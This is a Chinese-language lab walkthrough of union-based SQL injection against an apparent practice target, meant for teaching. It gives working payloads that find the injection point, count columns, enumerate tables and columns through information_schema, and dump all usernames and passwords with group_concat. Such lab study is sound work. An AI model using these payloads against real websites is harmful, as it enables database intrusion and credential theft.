目标

拿到靶机中数据库的所有用户名和密码。

⚠️ 所有注入参数中请使用英文字符


完整步骤

步骤 1:找注入点 & 判断注入类型

  • 输入 ?id=1:页面正常
  • 输入 ?id=1':页面报错 → 字符型注入,单引号闭合
  • 输入 ?id=1' and 1=1 --+:正常
  • 输入 ?id=1' and 1=2 --+:异常 → 确认注入

步骤 2:判断查询列数(order by

1
2
3
4
?id=1' order by 1 --+  → 正常
?id=1' order by 2 --+ → 正常
?id=1' order by 3 --+ → 正常
?id=1' order by 4 --+ → 报错

结论:原查询有 3 列

order by N 按第 N 列排序,报错说明列数不足。

步骤 3:找回显位置(union select 1,2,3

1
?id=-1' union select 1,2,3 --+

页面显示 23 → 这两个位置可以回显数据。

id=-1 让原查询失效,页面只显示 union 后的结果。

步骤 4:获取当前数据库名(database()

1
?id=-1' union select 1,database(),3 --+

结果:security

步骤 5:获取所有表名(information_schema.tables

1
2
3
?id=-1' union select 1,group_concat(table_name),3
from information_schema.tables
where table_schema='security' --+

结果:emails,referers,uagents,users

information_schema.tables 是 MySQL 的”表名集合表”。group_concat() 把多个结果拼成一行。

步骤 6:获取 users 表所有列名(information_schema.columns

1
2
3
?id=-1' union select 1,group_concat(column_name),3
from information_schema.columns
where table_schema='security' and table_name='users' --+

结果:id,username,password

步骤 7:最终目标 —— 拿到所有账号密码

1
2
?id=-1' union select 1,group_concat(username,':',password separator ' | '),3
from users --+

结果:admin:admin123 | test:test123 | ...


关键知识点

information_schema 数据库

MySQL 自带的”数据字典”,存着所有数据库、表、列的信息。

关键字段 作用
information_schema.tables table_schema, table_name 查所有表名
information_schema.columns table_schema, table_name, column_name 查所有列名

group_concat() 的作用

把多行查询结果拼接到一行显示,避免一次只能看一条数据。

1
group_concat(username, ':', password separator ' | ')

查数据思路

1
查库名 → 查表名 → 查列名 → 拿数据

总结

1
2
3
4
5
6
7
8
9
1. 找注入点     →  and 1=1 / 1=2
2. 判断类型 → 字符型 or 数字型
3. 找闭合方式 → ' " ')
4. 判断列数 → order by
5. 找回显位置 → union select 1,2,3
6. 查库名 → database()
7. 查表名 → information_schema.tables
8. 查列名 → information_schema.columns
9. 拿数据 → group_concat()